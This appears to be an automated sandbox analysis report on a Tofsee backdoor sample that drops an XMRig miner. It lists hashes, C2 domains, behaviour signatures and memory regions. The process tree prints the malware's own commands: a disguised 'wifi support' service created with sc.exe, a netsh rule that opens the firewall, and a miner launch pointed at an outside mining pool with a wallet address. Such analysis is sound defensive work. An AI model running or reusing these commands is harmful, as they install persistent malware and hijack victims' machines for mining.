Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    11-01-2023 07:52

General

  • Target

    file.exe

  • Size

    327KB

  • MD5

    cac294181b203b7842a3cb7f088abcfc

  • SHA1

    0f29d824da088340a39e1806a718d9132bc7441b

  • SHA256

    710e157f1b500c71193bbeb23a2f6fbd492a9ad47a13256b1d058e864e0908dc

  • SHA512

    319f074816133158ced69e9db6a5a1756af61fce613d7adbe429f3ee4a3ecb113d0128a3ac13cf1b3f46dad4a7dadf4f9ffcd237a9a5fd0c22a6e34cafdb81c2

  • SSDEEP

    6144:n+HG1UJcOEexoWDNRTlGOyyDqCFH0iXlG9:ne85OBoWDNisOCysG

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bzskkllr\
      2⤵
        PID:1068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bminexjy.exe" C:\Windows\SysWOW64\bzskkllr\
        2⤵
          PID:1176
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bzskkllr binPath= "C:\Windows\SysWOW64\bzskkllr\bminexjy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:680
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bzskkllr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bzskkllr
          2⤵
          • Launches sc.exe
          PID:996
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1268
      • C:\Windows\SysWOW64\bzskkllr\bminexjy.exe
        C:\Windows\SysWOW64\bzskkllr\bminexjy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:968
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1588

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\bminexjy.exe

        Filesize

        12.1MB

        MD5

        d1150c7f503cfbc21c136dbb82392250

        SHA1

        4870dc78521f68256f41bf17a2daf4bab1746263

        SHA256

        f537b34b715963b3f6e77635c07bb8ab271516555a29a2c56b63b8285a1fbe87

        SHA512

        79ced95c8cb3d7ad477a304f30bd3c23276849ff6d6b20a3fc6deb95256348aa810c8d0a6125da95ed7c3d0e4db825085ba94f104c4cd151d5454c5a5577a0bd

      • C:\Windows\SysWOW64\bzskkllr\bminexjy.exe

        Filesize

        12.1MB

        MD5

        d1150c7f503cfbc21c136dbb82392250

        SHA1

        4870dc78521f68256f41bf17a2daf4bab1746263

        SHA256

        f537b34b715963b3f6e77635c07bb8ab271516555a29a2c56b63b8285a1fbe87

        SHA512

        79ced95c8cb3d7ad477a304f30bd3c23276849ff6d6b20a3fc6deb95256348aa810c8d0a6125da95ed7c3d0e4db825085ba94f104c4cd151d5454c5a5577a0bd

      • memory/520-106-0x0000000000400000-0x0000000000458000-memory.dmp

        Filesize

        352KB

      • memory/520-75-0x0000000000400000-0x0000000000458000-memory.dmp

        Filesize

        352KB

      • memory/520-74-0x000000000050D000-0x0000000000522000-memory.dmp

        Filesize

        84KB

      • memory/944-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/944-54-0x0000000076411000-0x0000000076413000-memory.dmp

        Filesize

        8KB

      • memory/944-56-0x000000000050D000-0x0000000000522000-memory.dmp

        Filesize

        84KB

      • memory/944-58-0x0000000000400000-0x0000000000458000-memory.dmp

        Filesize

        352KB

      • memory/944-66-0x0000000000400000-0x0000000000458000-memory.dmp

        Filesize

        352KB

      • memory/968-94-0x0000000000180000-0x0000000000187000-memory.dmp

        Filesize

        28KB

      • memory/968-91-0x00000000054C0000-0x00000000058CB000-memory.dmp

        Filesize

        4.0MB

      • memory/968-107-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/968-71-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/968-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/968-78-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/968-79-0x0000000001A20000-0x0000000001C2F000-memory.dmp

        Filesize

        2.1MB

      • memory/968-82-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/968-85-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/968-88-0x0000000000130000-0x0000000000135000-memory.dmp

        Filesize

        20KB

      • memory/1588-97-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1588-99-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB